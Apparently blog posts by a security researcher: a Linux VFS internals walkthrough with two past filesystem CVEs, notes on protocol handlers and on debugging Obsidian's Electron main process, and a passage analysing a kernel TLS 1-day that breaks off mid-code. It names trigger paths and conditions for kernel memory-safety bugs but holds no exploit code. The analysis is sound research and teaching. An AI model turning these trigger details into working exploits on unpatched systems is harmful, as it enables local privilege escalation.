After successfully obtaining the dentry object, step_into() is called to update the current directory to the found dentry object. This function also handles the symlink resolution, but we will not discuss it further here.

The entire process may repeat several times until it reaches the final component.

link_path_walk(name, nd)
=> for each components
  => nd->last.name = name
  => link = walk_component(nd, WALK_MORE)
    
    => dentry = lookup_fast(nd)
      => parent = nd->path.dentry
      => dentry = __d_lookup_rcu(parent, &nd->last, &nd->next_seq)
        => b = d_hash(hashlen)
          => dentry_hashtable + hash value
    
    => step_into(nd, flags, dentry)
      => handle_mounts(nd, dentry, &path)
        => path->mnt = nd->path.mnt
        => path->dentry = dentry
      => nd->path = path
      => nd->inode = path.dentry->d_inode

Finally, open_last_lookups() is called to resolve the final component (the file itself). This function is basically the same as walk_component() if the file already exists. However, the main difference is that walk_component() returns an error if dentry doesn’t exist, while open_last_lookups() creates a new dentry by __d_alloc().

This kind of dentry is called a negative dentry, meaning the dentry has no associated inode (i.e., no actual file on disk), but it still exists in the dcache and can be accessed. It is required because a process is able to pass O_CREAT option to create a new file if it doesn’t exist.

Later, the kernel calls the inode operations .create to create a inode and bind it to that dentry. How the kernel creates the inode depends on the filesystem. For instance, the shmem filesystem calls shmem_get_inode() to allocate a shmem inode.

open_last_lookups(nd, file, op)
=> dentry = lookup_fast_for_open(nd, open_flag)
  => dentry = lookup_fast(nd)
  => return dentry

=> if not found
  => dentry = lookup_open(nd, file, op, got_write)
    => dentry = d_lookup(dir, &nd->last)
    => dentry = d_alloc_parallel(dir, &nd->last, &wq)
      => new = __d_alloc(parent->d_sb, name)
        => dentry = kmem_cache_alloc_lru(dentry_cache)
        => dentry->d_op = sb->__s_d_op
      => return new
    
    => dir_inode->i_op->create(idmap, dir_inode, dentry)
      => inode = ...
      => d_instantiate(dentry, inode)
        => __d_set_inode_and_type(dentry, inode, add_flags)
          => dentry->d_inode = inode

=> step_into(nd, WALK_TRAILING, dentry)

By now, we know that the pathname resolution is typically a dentry object lookup. It starts by setting the starting directory, seperating pathname into multiple components, and then retrieving the corresponding dentry from the hash bucket list.

The last question, “How does the binding work?”, is related to how a file accesses the metadata such as permissions. Internally, vfs_open() stores path information for future lookups (file->__f_path), and do_dentry_open() is called to store the inode and invokes filesystem’s open handler (f->f_op->open). That’s how the file object is associated with the dentry and the inode.

do_open(nd, file, op)
=> vfs_open(&nd->path, file)
  => file->__f_path = *path
  => do_dentry_open(file, NULL)
    => inode = f->f_path.dentry->d_inode
    => f->f_inode = inode
    => f->f_op = fops_get(inode->i_fop)
    => f->f_op->open(inode, f)

In short, the architecture of the relationships among the file desciptor, file, dentry, path and inode is as follows:

    [fdtable]         (__f_path)
fd --> [0] -> file A ------------> path
                   |                |-- mnt
         (f_inode) |                |-- dentry --
                   |                             |
                    ------> inode <--------------
                                     (d_inode)
       [1] -> file B
       [X] -> ......

They each have different roles: a file descriptor is a number used to index file table; a file encapsulates regular files and sockets under the same interfaces for a clean and simple design; a path is used for lookup, containing mount object (mnt) and the dentry; a dentry contains pathname information for file lookup; an inode contains the file’s metadata, including the owner, permissions, and file mapping information.

1.2. fs_context, super_block and vfsmount

After introducing the concepts of inode and dentry, we may wonder where the inode comes from and how the mounting operation intializes mnt and builds the inode tree. In this section, we will explore these questions and find the answers.

Looking at the syscall mount, do_new_mount() calls get_fs_type() to find the file_system_type object with the matching name. The object contains metadata for creating a filesystem instance, and different filesystems may have their own implementations.

file_system_type object is later used to initialize a filesystem context (fc) object by invoking its .init_fs_context handler. A filesystem context represents an in-progress mount operation and stores configuration before the superblock is created. The .init_fs_context handler typically allocates and initializes filesystem-specific private data and sets up the context operations (fc->ops).

After that, parse_monolithic_mount_data() is called to parse the mount parameters. For example, if you run the mount command with the options -o ro,noexec, the string "ro,noexec" will be parsed and used to update the filesystem context.

Finally, do_new_mount_fc() is called to set up the superblock and mount point.

__do_sys_mount(dev_name, dir_name, type, flags, data)
=> do_mount(kernel_dev, dir_name, kernel_type, flags, options)
  => user_path_at(AT_FDCWD, dir_name, LOOKUP_FOLLOW, &path)
  => path_mount(dev_name, &path, type_page, flags, data_page)
    => do_new_mount(path, type_page, sb_flags, mnt_flags, dev_name, data_page)
      => type = get_fs_type(fstype)
        => fs = __get_fs_type(name, len)
        => return fs
      
      => fc = fs_context_for_mount(type, sb_flags)
        => alloc_fs_context(fs_type, NULL, sb_flags, 0, FS_CONTEXT_FOR_MOUNT)
          => fc = kzalloc(sizeof(struct fs_context))
          => fc->fs_type->init_fs_context(fc)

      => parse_monolithic_mount_data(fc, data)
        => if (fc->ops->parse_monolithic != NULL)
          => fc->ops->parse_monolithic(fc, data)
        => else
          => generic_parse_monolithic(fc, data)
      
      => do_new_mount_fc(fc, path, mnt_flags)

Internally, the kernel calls filesystem’s .get_tree handler to build the file tree. For filesystems that require a backing image, such as ext4, the handler initializes the superblock and sets up the root inode and root dentry based on on-disk metadata. Other inodes and dentrys are loaded on demand during path lookup rather than being created eagerly at mount time.

In contrast, for filesystems that do not require a backing image, such as ramfs, the handler typically allocates a new superblock and creates only the root inode and dentry for the mount point.

do_new_mount_fc(fc, mountpoint, mnt_flags)
=> mnt = fc_mount(fc)
  => vfs_get_tree(fc)
    => fc->ops->get_tree(fc)
  => vfs_create_mount(fc)

Let’s take ramfs as an example. Its .init_fs_context sets the context operations to &ramfs_context_ops, whose .get_tree handler is ramfs_get_tree().

int ramfs_init_fs_context(struct fs_context *fc)
{
    // [...]
    fc->ops = &ramfs_context_ops;
    return 0;
}

static const struct fs_context_operations ramfs_context_ops = {
    .free        = ramfs_free_fc,
    .parse_param = ramfs_parse_param,
    .get_tree    = ramfs_get_tree,
};

Almost all filesystems follow a pattern for their .get_tree handler. They commonly call get_tree_nodev() or related functions, passing a filesystem-specific fill_super callback.

get_tree_nodev() internally obtains or creates a superblock and then invokes the provided callback to intialize it. In the case of ramfs, its .get_tree handler calls get_tree_nodev() with ramfs_fill_super().

static int ramfs_get_tree(struct fs_context *fc)
{
    return get_tree_nodev(fc, ramfs_fill_super);
}

If a new superblock is needed, alloc_super() is called to allocate a super_block object, and the newly created super_block object is then inserted into the file_system_type’s superblock linked list (s->s_type->fs_supers) by sget_fc(). After that, the fill_super callback (in this case, ramfs_fill_super()) is invoked to initialize that super_block object.

get_tree_nodev(fc, ramfs_fill_super)
=> vfs_get_super(fc, NULL, fill_super)
  => sb = sget_fc(fc, test, set_anon_super_fc)
    => s = alloc_super(fc->fs_type, fc->sb_flags, user_ns)
    => hlist_add_head(&s->s_instances, &s->s_type->fs_supers)
  
  => fill_super(sb, fc)

=> fc->root = dget(sb->s_root)

The fill_super callback must initialize the root inode and the root dentry, since the root inode contains the inode operations (i_op) and file operations (i_fop) required for directory lookup and file access.

In ramfs_fill_super(), ramfs_get_inode() is called to allocate and initialize the root inode. Then d_make_root() creates a dentry associated with that inode, and the returned dentry is assigned to the superblock’s root (sb->s_root).

fill_super(sb, fc)   # ramfs_fill_super
=> sb->s_op = &ramfs_ops
=> inode = ramfs_get_inode(sb, NULL, S_IFDIR | ..., 0)
  => inode = new_inode(sb)
    => alloc_inode(sb)
      => if sb->s_op->alloc_inode != NULL
        => inode = sb->s_op->alloc_inode(sb)
      => else
        => inode = alloc_inode_sb(sb)
  
  => if (mode == S_IFDIR)
    => inode->i_op = &ramfs_dir_inode_operations
    => inode->i_fop = &simple_dir_operations

=> sb->s_root = d_make_root(inode)

At the end of the mounting process, vfs_create_mount() creates a mount object and associate it with the superblock by setting m->mnt.mnt_sb to point to the superblock (root->d_sb).

vfs_create_mount(fc)
=> mnt = alloc_vfsmnt(fc->source)
  => mnt = kmem_cache_zalloc(mnt_cache)

=> setup_mnt(mnt, fc->root)
  => m->mnt.mnt_sb = root->d_sb
  => m->mnt.mnt_root = dget(root)
  => mnt_add_instance(m, s)
    => s->s_mounts = m

=> return &mnt->mnt

Since the filesystem context (fs_context) is only used during the mount setup phrase, it is released before returning to userspace and is not referenced by any persistent VFS object.

In summary, the filesystem name is used to look up the corresponding file_system_type, and its .init_fs_context handler is invoked to initialize a filesystem context (fs_context). Later, the kernel calls the filesystem’s .get_tree handler to to build a file tree. Internally, a super_block object and a mount object are created, and the root inode and the root dentry are intialized by the filesystem’s fill_super callback.

             [lookup]
name ("ramfs") ---> file_system_type list ("bdev" <--> "aio" <--> "anon_inodefs" ...)
                          |
                          | [found]
                          v
                     ramfs_fs_type (.name == "ramfs")
                          |
                          | (fs_supers)
           (s_root)       |
dentry   <---------  super_block --> super_block --> super_block --> ...
|        <--              |
|           |             | (s_mounts)
|(d_inode)  |             |
|            ---------  mount --> mount --> mount --> ...
|          (mnt_root)           
v
inode

Awesome! Now we understand how a simple file descriptor can reference the actual file content and interact with the filesystem.

You may wonder why mount points and superblocks do not have a one-to-one relationship in the diagram. This is because when the mount flags include MS_BIND, the kernel invokes __do_loopback() instead of do_new_mount(). In this case, the process requests a new mount point based on an existing one. As a result, the kernel allocates a new mount object for the target path, but it shares the same underlying superblock as the original mount.

path_mount(dev_name, path, type_page, flags, data_page)
=> do_loopback(path, dev_name, flags & MS_REC)
  => kern_path(old_name, LOOKUP_FOLLOW|LOOKUP_AUTOMOUNT, &old_path)
  => __do_loopback(&old_path, recurse)
    => clone_mnt(old, old_path->dentry, 0)
      => mnt = alloc_vfsmnt(old->mnt_devname)
      => setup_mnt(mnt, root)   <-----   attach to existing superblock

2. Past Vulnerabilites

Here I chose two vulnerabilities that were exploited in kernelCTF in recent years to illustrate security issues in the filesystem.

2.1. CVE-2022-0185: vfs: fs_context: fix up param length parsing in legacy_parse_param

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=722d94847de29310e8aa03fcbdb41fc92c521756

This is an integer underflow vulnerability in legacy_parse_param(), a function used to parse mount parameter for legacy filesystems. The vulnerability leads to a length check bypass, which is ultimately turned into a heap overflow.

@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
                   param->key);
     }
 
-   if (len > PAGE_SIZE - 2 - size)
+   if (size + len + 2 > PAGE_SIZE)
        return invalf(fc, "VFS: Legacy: Cumulative options too large");
    if (strchr(param->key, ',') ||
        (param->type == fs_value_is_string &&

We’ve mentioned that the mount parameters are parsed by parse_monolithic_mount_data(). In fact, to support more flexible configuration, Linux later introduced three new syscalls: fsopen, fsconfig and fsmount. They roughly correspond to the main steps of mounting: creating a filesystem context (selecting the filesystem type), configuring mount options, and finally creating a mount object.

By calling the fsconfig syscall, we can set the key and value to a malformed parameter, causing the kernel to invoke the filesystem context’s .parse_param handler, which eventually reaches the vulnerable function legacy_parse_param().

__do_sys_fsconfig(fd, cmd, key, value, aux)
=> vfs_fsconfig_locked(fc, cmd, ¶m)
  => vfs_parse_fs_param(fc, param)
    => fc->ops->parse_param(fc, param)
       (legacy_fs_context_ops.parse_param == legacy_parse_param)

But what kind of filesystem sets &legacy_fs_context_ops as its filesystem context operations?

We just need to find a filesystem that does not implement .init_fs_context handler. In that case, alloc_fs_context() will fall back to use the legacy initialization path.

alloc_fs_context()
=> if (fc->fs_type->init_fs_context == NULL)
  => legacy_init_fs_context(fc)
    => fc->ops = &legacy_fs_context_ops

2.2. CVE-2023-5345: fs/smb/client: Reset password pointer to NULL

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e6e43b8aa7cd3c3af686caf0c2e11819a886d705

When configuring an SMB filesystem, smb3_fs_context_parse_param() is called to parse user-provided parameters. However, it forgets to reset ctx->password to NULL after freeing it. As a result, a user can trigger multiple frees on the same pointer.

@@ -1541,6 +1541,7 @@ static int smb3_fs_context_parse_param(struct fs_context *fc,
 
  cifs_parse_mount_err:
    kfree_sensitive(ctx->password);
+   ctx->password = NULL;
    return -EINVAL;
 }

This function can be reached in the same way as in CVE-2022-0185.

3. Summary

This post just provides a simple overview of the Linux filesystem. The root causes of the two vulnerabilities are relatively straighforward and can be understood by most Linux kernel researchers. Obviously, I think finding them may not be too difficult for AI nowadays 😆.

But what happens when filesystems interact with namespaces or other features, or when multiple filesystems are layered or combined? Could unexpected issues arise?

I may write a follow-up post to explore the interaction between the filesystem and other subsystems. It is a complex but interesting topic!

Learning Protocol Handler

2026-01-18T00:00:00+00:00

0. Murmur

It has been four months since I last wrote a post… pretty long, lol. The reason is not only that I took a longer break after a whole busy year, like playing the game, doing more exercise, and thinking about the meaning of life, but also that I tried to step out of my comfort zone (in every aspect).

At the end of October, I randomly asked Faith (@farazsth98) if he wanted to participate in the first-year zeroday.cloud competition, and maybe we could team up to target Ubuntu. I viewed it as a side project to push myself to do more research on the Linux kernel, and I also wanted to know what it’s like to do research with researchers more senior than me. However, I didn’t expect things to turn out like that. It only took us about three weeks – from finding some unused bugs and one exploitable vulnerability to finishing the exploitation – which is crazy and unimaginable. After that, we spent some time optimizing it, and in the end, we successfully archived LPE on latest Ubuntu Server!

This journey sounds great and should have made me even more passionate about security research, right? But after coming back from Landon (zeroday.cloud was held with BHEU, which was in Landon), I felt burned out and had no energy to read code for no reason. I started thinking about why I do security research and what I am actually chasing. The bad feeling lasted for three weeks. During this period, I read blogs (not limited to security) and did some non-heavy work, like organizing notes. In my free time, I spent more time thinking about what I was stuck on. As I read more and thought more, I gradually found my passion back, because I could see the enjoyment of sharing in those posts. They were pure happiness, learning new things, sharing cool techniques and stuff like that, and that was what I had lost.

Now, I still have a big project on Linux kernel research, but I also read blogs and do research in areas that I am not familiar with, just for fun. That’s why there were no post on the blog for months, and why this new post is about web security.

I am neither an expert in web security nor someone with deep research experience in protocol handlers. As a result, I will only provide an overview of protocol handlers along with some of my research notes.

I also want to thank maple (@maple3142) for answering my question and sharing his knowledge!

1. Introduction

If you click a link that looks like "XXXX://" – where XXXX is not a common protocol such as http and https – you may see a prompt on the screen asking whether you allow a specific program to open it. For example, if I try to navigate slack://XXXX in Safari, macOS will ask me: “do you allow this website to open Slack”? The “Slack” here is the specific program I mentioned earlier.

The protocol handler describes the situation in which user clicks a custom procol link and then operating system attempts to forward the URL request to the corresponding program. On different operating systems, the relationship between a protocol and a program is defined in different ways.

On macOS, this relationship is defined in the file ~/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist, which is also the preference file for the domain com.apple.launchservices.secure. You can easily read it in a human-readable format using the command defaults read .

$ defaults read com.apple.LaunchServices/com.apple.launchservices.secure
{
    LSHandlers =     (
                {
            LSHandlerModificationDate = 0;
            LSHandlerPreferredVersions =             {
                LSHandlerRoleAll = "-";
            };
            LSHandlerRoleAll = "com.apple.gamecenter.gamecenteruiservice";
            LSHandlerURLScheme = "itms-gcs";
        },
        ...
    );
}

On Windows, protocol handlers are defined in the registry, with the following format:

HKEY_CLASSES_ROOT\\shell\open\command

In my Windows VM, the handler for vscode:// is Code.exe as shown in the screenshot below:

On Linux, different distributions may use different mechanisms, so here I will take Ubuntu as an example. On Ubuntu, there is another concept called MIME types (Media Types). MIME types are used to identify file types and determine which applications should open them by default. You can use the following commands to find MIME handlers:

# for per-user
grep -ir "MimeType=x-scheme-handler" ~/.local/share/applications/
# for system
grep -ir "MimeType=x-scheme-handler" /usr/share/applications/

You will see file content like the following:

MimeType=x-scheme-handler/XXXXX

Here, XXXXX is protocol name. By opening the corresponding configuration file, you can further identify the program and the command format associated with that protocol. For example, the description of the protocol snap:// is defined in /usr/share/applications/snap-handle-link.desktop. By reading the file, you can know that its handler is program /usr/bin/snap.

[Desktop Entry]
...
Exec=/usr/bin/snap handle-link %U
MimeType=x-scheme-handler/snap;
...

2. Electron

As its documentation described, Electron is a framework for building desktop applications using JavaScript, HTML, and CSS, and it embeds Chromium and Node.js into its binary. By using Electron, you only need to maintain one JS codebase to create cross-platform apps that work on Windows, macOS, and Linux!

A diagram from Advanced Electron.js architecture clearly shows the architecture of Electron.

The main process (blue one) of Electron is Node.js, which provides delevopers with abundant APIs to use. If you have some knowledge of Chrome, I think its role is similar to the browser process, handling those requests that require high privileges from render processes.

The renderer process runs inside Chromium, and it is responsible for rendering web pages by parsing HTML and CSS and running Javascript. Since Electron is used to build applications, it can be imagined that each application needs to control how the web pages are rendered and behave.

Electron exposes many JavaScript APIs that allow developers to hook into. When starting an application, a main script will be executed by Node.js (main process) to set up the environment. Later, when Chromium is loaded, the browser context has already been configured with application-specific behaviors.

One of the features Electron supports is custom protocol handling. By using the API app.setAsDefaultProtocolClient(), you can register an application as the handler of a specific protocol. For example, if I want to register my application to be the myapp:// protocol handler, I can run the following JS code in the main script:

if (!app.isDefaultProtocolClient('myapp')) {
    app.setAsDefaultProtocolClient('myapp')
}

On Windows and Linux, you can write code like the following to handle startup requests triggered by a deeplink:

app.whenReady().then(() => {
  const url = process.argv.find(arg => arg.startsWith('myapp://'))
  if (url) {
    // ...
  }
})

Instead of handling requests inside the app.whenReady() callback, on macOS you must define an 'open-url' event handler:

app.on('open-url', (event, url) => {
  // ...
})

If a deeplink is triggered from within the application or from a browser while an existing instance is already running, Electron (which typically allows only a single application process) will first launch a second instance. This second instance sends a 'second-instance' event to the main instance and then exits. As a result, you may need to define a 'second-instance' event handler to handle this scenario.

app.on('second-instance', (event, argv) => {
  const url = argv.find(arg => arg.startsWith('myapp://'))
  if (url) {
    // ...
  }
})

3. Obsidian

3.1. File Extraction

Obsidian is a free note-taking app based on Electron (btw, I’ve used this app to take research notes for two years, so you should give it a try!).

After installation, it registers the obsidian:// protocol handler, which invokes Obsidian.exe to handle the URL requests.

Obsidian is not an open-source project, but you can download its ASAR file from the GitHub release. ASAR (Atom Shell Archive) is a file format used by Electron to package applications. This file is generated by the asar Node.js package, and you can use the extract command to unpack it.

npx asar extract obsidian-1.11.4.asar out

Once the obsidian-XXXX.asar is extracted, you will find the following files:

$ tree -L 1
.
...
├── app.js
..
├── main.js
├── package.json
...
└── worker.js

The attribute "main" in package.json defines which JS file is executed first. However, index.js is missing from the extracted directory. Why?

{
    ...
    "main": "index.js",
    ...
}

If you directly install Obsidian from the released .deb package on Ubuntu (my VM is Ubuntu haha), you’ll find that /opt/Obsidian/resources contains not only obsidian.asar but also app.asar.

aaa@aaa:~$ ls -al /opt/Obsidian/resources
...
-rw-rw-r-- 1 root root    86730 Jan 12 22:46 app.asar
...
-rwxrwxr-x 1 root root 25878062 Jan 12 22:46 obsidian.asar

According to the Electron source code and related posts, it appears that the archive named app.asar is the one actually loaded. Inside app.asar, the package.json file defines main.js as the main JS script.

{
    ...
    "main": "main.js",
    ...
}

Its content looks more like what I would expect from the entry point of an Electron application. By reading the code, we can also see that obsidian.asar is loaded after the first stage of initialization.

let asarPath = path.join(APP_PATH, 'obsidian.asar');

// [...]

function loadApp(asarPath) {
    // Execute asar content
    let main = path.join(asarPath, 'main.js');

    let fn;
    try {
        fn = require(main);
    } catch (e) {
        return false;
    }

    if (fn) {
        fn(asarPath, updateEvents);
        return true;
    }
    return false;
}

// [...]

if (!success) {
    log('Loading main app package', asarPath);
    success = loadApp(asarPath);
}

3.2. Debugging

3.2.1. Runtime Patch

Here I want to share how I debug Obsidian. To be honest, this is also the main reason why I wrote this post. It includes the basic Electron application debugging (which I didn’t know before) and runtime patches to enable Obsidian’s inspector.

Normally, an Electron application supports two ways to debug: DevTools and Inspector. I believe everyone has used DevTools before, but you may not expect that it is also embedded inside an Electron app.

For Obsidian, you can use the shortcut option + command + I on macOS or shift + control + I on Ubuntu to open the DevTools.

By opening the sources tab, you can see which code is executed on this page. You can also set breakpoints and debug it directly.

It is straightforward, right? However, this only debugs the current page running in the renderer process. What about the main process, which is the Node.js process? That is where the second method comes in: Inspector.

If we mirror its role into gdb toolchain, Inspector is more like the gdbserver, allowing us attach and debug a running renderer. A process that is not a renderer can also implement the Inspector protocol to support debugging, and this is exactly what Electron’s Node.js process does. The inspector is not enabled by default, but in most cases you only need to pass additional parameters to the application to enable it. For example:

# expose inspector port at 9229 (default port)
app --inspect=9229

# break in the first line of code
app --inspect-brk

After that, you can open chrome://inspect in Chrome and debug the Node.js process.

However, when I run obsidian --inspect or similar commands, no inspector is launched. After some investigation, I suspect that Obsidian either modified Node.js code (or perhaps just set some options, not sure) to disable the Inspector.

I then opened my IDA to reverse the Obsidian ELF. By searching for "--inspect", I found that node::options_parser::DebugOptionsParser::DebugOptionsParser() is responsible for parsing debug-related parameters. By mapping the function to the Nodejs source code, it clearly shows that this function parses debug arguments, including --inspect.

DebugOptionsParser::DebugOptionsParser() {
  // [...]
  AddOption("--inspect",
            "activate inspector on host:port (default: 127.0.0.1:9229)",
            &DebugOptions::inspector_enabled, // offset: 9
            kAllowedInEnvvar);
  AddAlias("--inspect=", { "--inspect-port", "--inspect" });
  // [...]
}

But if you set a breakpoint at DebugOptions::CheckOptions() and inspect argv, you will find that --inspect is missing, which means Obsidian does not pass the parameters to Electron at all!

void DebugOptions::CheckOptions(std::vector<std::string>* errors,
                                std::vector<std::string>* argv) {
  // [...]
}

One possible solution is a runtime patch. You can break at node::inspector::Agent::Start(), which determines whether the Inspector should be started. One of the condition check is that the options.inspector_enabled flag must be true. This is the same flag that --inspect is supposed to set. Here, we can simply set it to true manually and then continue execution – the Inspector will start successfully!

bool Agent::Start(const std::string& path,
                  const DebugOptions& options,
                  std::shared_ptr<ExclusiveAccess<HostPort>> host_port,
                  bool is_main) {
  // [...]
  if (!parent_handle_ &&
      (!options.inspector_enabled || !options.allow_attaching_debugger ||
       !StartIoThread())) {
    return false;
  }
  // [...]
}

The following GDB commands are what I used:

b Agent::Start
set follow-fork-mode parent
r
# hit the breakpoint
set *(char *)($rdx + 9)=1

Log out:

...
pwndbg> set *(char *)($rdx + 9)=1
pwndbg> c
Continuing.
[New Thread 0x76bd653f36c0 (LWP 44357)]
Debugger listening on ws://127.0.0.1:9229/6f96cdd8-bb69-4f55-b36f-bfffc2eb2ca8
For help, see: https://nodejs.org/en/docs/inspector
2026-01-18 05:27:15 Loading main app package /opt/Obsidian/resources/obsidian.asar
[New Thread 0x76bcd19ff6c0 (LWP 44358)]
...

Great! We can now debug the main process!

But what if we want to debug the initialization of the main script? Is there any way to pause the Node.js process right at startup? Going back to DebugOptionsParser::DebugOptionsParser(), we can see another parameter, --inspect-brk, which sets the break_first_line flag.

DebugOptionsParser::DebugOptionsParser() {
  // [...]
  AddOption("--inspect-brk",
            "activate inspector on host:port and break at start of user script",
            &DebugOptions::break_first_line, // offset: 12
            kAllowedInEnvvar);
  // [...]
}

The break_first_line flag is used in node::inspector::Agent::WaitForConnectByOptions() to determine whether the Inspector should break at the first line and wait for the debugger to attach.

bool Agent::WaitForConnectByOptions() {
  // [...]
  bool should_break_first_line = debug_options_.should_break_first_line();
  // [...]
  if (wait_for_connect || should_break_first_line) {
    // Patch the debug options to implement waitForDebuggerOnStart for
    // the NodeWorker.enable method.
    if (should_break_first_line) {
      CHECK(!parent_env_->has_serialized_options());
      debug_options_.EnableBreakFirstLine();
      parent_env_->options()->get_debug_options()->EnableBreakFirstLine();
    }
    client_->waitForFrontend();
    return true;
  }
  return false;
}

To enable it, we just need to run one additional GDB command:

set *(char *)($rdx + 12)=1

Now the Inspector will pause execution and wait for us to attach the debugger!

3.2.2. Static Patch

When I was writing this post, I found an easier way to start the Inspector lol. Since we can repack the ASAR file, we just need to add the following two lines of JS code to main.js:

require('inspector').open(9229, '127.0.0.1', true);
debugger;

Repacking ASAR files is straightforward:

cd /opt/Obsidian/resources
npx asar extract app.asar ~/Downloads/app.unpacked
# ... patch file
npx asar pack ~/app.unpacked app.asar
cp app.asar /opt/Obsidian/resources/app.asar

The Inspector will be launched as well.

WOW, I feel like a stupid guy XD

3.3. Find Vulnerabilities

By searching for the string "second-instance" or "open-url", you can easily locate the handler and start analyzing the minified JS code.

// main.js (obsidian.asar)
i.app.whenReady().then(() => {
    // [...]
    i.app.on("second-instance", (e, t) => {
        Ve(t) || Z()
    });
    // [...]
)

/* ...*/ i.app.on("open-url", function(e, t) {
            e.preventDefault(), he(t)
         }), /* ... */
// [...]

In fact, I don’t really have any experience finding protocol handler vulnerabilities, and I didn’t even find any web bugs, so… there are that many things to share in this part :p. However, the protocol handlers have been a widely known attack surface for a long time, and you can find plenty of resources discussing them. For example, Obsidian previously had a potential RCE vulnerability, which happened in the hook-get-address command handler.

If you can execute arbitrary JS code or HTML (via XSS, markdown features, …) in an Electron application, it may lead to unexpected problems. In worst case, an attacker can run call arbitrary Node.js APIs and run system commands. This post explains several scenarios where unsafe Electron configurations can result in pretty bad problems.

There are three relatively important attributes in the Electron webPreferences configuration:

nodeIntegration: whether the renderer process can call Node.js APIs.
sandbox: whether the renderer process runs in OS-level sandbox and can only access limited resources.
contextIsolation: whether the web page’s JS code is prevented from polluting the global JS environment, such as hijacking preloaded JS code.

I draw a simple map to show where we should focus when looking at an Electron application:

I’m working on it and hope to share somethings interesting in the future!

4. Conclusion

I think writing blogs is still beneficial, not only for sharing technical ideas, but also for organizing what I’ve learned. Hope I can keep doing this throughout the year!

Analyze Linux Kernel 1-day 0aeb54ac

2025-10-03T00:00:00+00:00

One day, @farazsth98 asked me if I had analyzed the latest 1-day kernelCTF slot. I hadn’t analyzed it yet, but I thought it was a good time to do something interesting — especially since preparing a talk is exhausting 😭.

The vulnerability occurred in the TLS subsystem, and its commit revealed many details about the triggering scenario.

This post is just a quick note about my reproduction, so it helps if you already have some background knowledge of TLS before reading.

Some of my previous posts might also be useful:

1. Patch Analysis

1.1. Key Problem

The patch updates several files, but the core issue lies in tls_rx_msg_size().

@@ -2474,8 +2474,7 @@ int tls_rx_msg_size(struct tls_strparser *strp, struct sk_buff *skb)
     return data_len + TLS_HEADER_SIZE;
 
 read_failure:
-    tls_err_abort(strp->sk, ret);
-
+    tls_strp_abort_strp(strp, ret);
     return ret;

The tls_rx_msg_size() function is used to calculate the total TLS record size from the header [1]. Before the patch, if the size was too small [2] or too large [3], tls_err_abort() was called to set the socket error state [4].

int tls_rx_msg_size(struct tls_strparser *strp, struct sk_buff *skb)
{
    // [...]
    data_len = ((header[4] & 0xFF) | (header[3] << 8)); // [1]

    if (data_len > TLS_MAX_PAYLOAD_SIZE /* 0x4000 */ + cipher_overhead + // [2]
        prot->tail_size) {
        ret = -EMSGSIZE;
        goto read_failure;
    }
    
    // [...]
    if (data_len < cipher_overhead) { // [3]
        ret = -EBADMSG;
        goto read_failure;
    }

    // [...]
read_failure:
    tls_err_abort(strp->sk, ret);

    return ret;
}

noinline void tls_err_abort(struct sock *sk, int err)
{
    // [...]
    WRITE_ONCE(sk->sk_err, -err); // [4]
    // [...]
    sk_error_report(sk);
}

After the patch, the call to tls_err_abort() is replaced with tls_strp_abort_strp().

Unlike tls_err_abort(), tls_strp_abort_strp() not only sets the socket error state, but also stops the TLS stream parser [5].

static void tls_strp_abort_strp(struct tls_strparser *strp, int err)
{
    if (strp->stopped)
        return;

    strp->stopped = 1; // [5]
    // [...]
    WRITE_ONCE(strp->sk->sk_err, -err);
    // [...]
    sk_error_report(strp->sk);
}

If the stopped flag is set [6], the TLS packet receive callback tls_strp_read_sock() will no longer be invoked [7], effectively preventing the TLS parser from processing further packets.

void tls_strp_check_rcv(struct tls_strparser *strp)
{
    if (unlikely(strp->stopped) /* [6] */ || strp->msg_ready)
        return;

    if (tls_strp_read_sock(strp) == -ENOMEM) // [7]
        queue_work(tls_strp_wq, &strp->work);
}

The only affected path is tls_strp_copyin_frag(). Since its call to tls_rx_msg_size() would previously return an error without setting the stopped flag, the function could be triggered repeatedly, leading to unintended side effects.

static int tls_strp_copyin_frag(struct tls_strparser *strp, struct sk_buff *skb,
                struct sk_buff *in_skb, unsigned int offset,
                size_t in_len)
{
    // [...]
    if (!strp->stm.full_len) {
        // [...]
        sz = tls_rx_msg_size(strp, skb);
        if (sz < 0)
            return sz;
    }
    // [...]
}

1.2. Exploit Path

The patch for socket fragment handling in tls_strp_copyin_frag() prevents the exploitation path.

Previously, developers assumed that skb->len was bounded by the maximum value TLS_MAX_PAYLOAD_SIZE, and therefore did not further validate the calculated fragment index.

However, because tls_strp_copyin_frag() could be invoked multiple times, skb->len may grow excessively. As a result, the fragment index could become larger than the total fragment count, leading to out-of-bounds memory access or the use of uninitialized memory.

@@ -211,11 +211,17 @@ static int tls_strp_copyin_frag(struct tls_strparser *strp, struct sk_buff *skb,
                 struct sk_buff *in_skb, unsigned int offset,
                 size_t in_len)
 {
+    unsigned int nfrag = skb->len / PAGE_SIZE;
     size_t len, chunk;
     skb_frag_t *frag;
     int sz;
 
-    frag = &skb_shinfo(skb)->frags[skb->len / PAGE_SIZE];
+    if (unlikely(nfrag >= skb_shinfo(skb)->nr_frags)) {
+        DEBUG_NET_WARN_ON_ONCE(1);
+        return -EMSGSIZE;
+    }
+
+    frag = &skb_shinfo(skb)->frags[nfrag];

This patch introduces stricter validation of the packet length to ensure safer fragment handling.

2. Trigger the Vulnerability

Two conditions must be satisfied to trigger the vulnerability:

TLS stream copy mode (strp->copy_mode) is enabled.
The packet length skb->len is sufficiently small.

2.1. Enabling Stream Copy Mode

When the receive buffer becomes insufficient [1], the TLS parser enables copy mode [2] and uses tls_strp_read_copyin() to process subsequent packets [3, 4].

static int tls_strp_read_copy(struct tls_strparser *strp, bool qshort)
{
    if (likely(qshort /* true */ && !tcp_epollin_ready(strp->sk, INT_MAX)))
        return 0;

    // [...]
    strp->copy_mode = 1; // [2]
    
    // [...]
    tls_strp_read_copyin(strp); // [3]
}

static inline bool tcp_epollin_ready(const struct sock *sk, int target /* INT_MAX */)
{
    const struct tcp_sock *tp = tcp_sk(sk);
    int avail = READ_ONCE(tp->rcv_nxt) - READ_ONCE(tp->copied_seq);

    if (avail <= 0)
        return false;

    return (avail >= target) || tcp_rmem_pressure(sk) /* [1] */ ||
           (tcp_receive_window(tp) <= inet_csk(sk)->icsk_ack.rcv_mss);
}

static int tls_strp_read_sock(struct tls_strparser *strp)
{
    // [...]
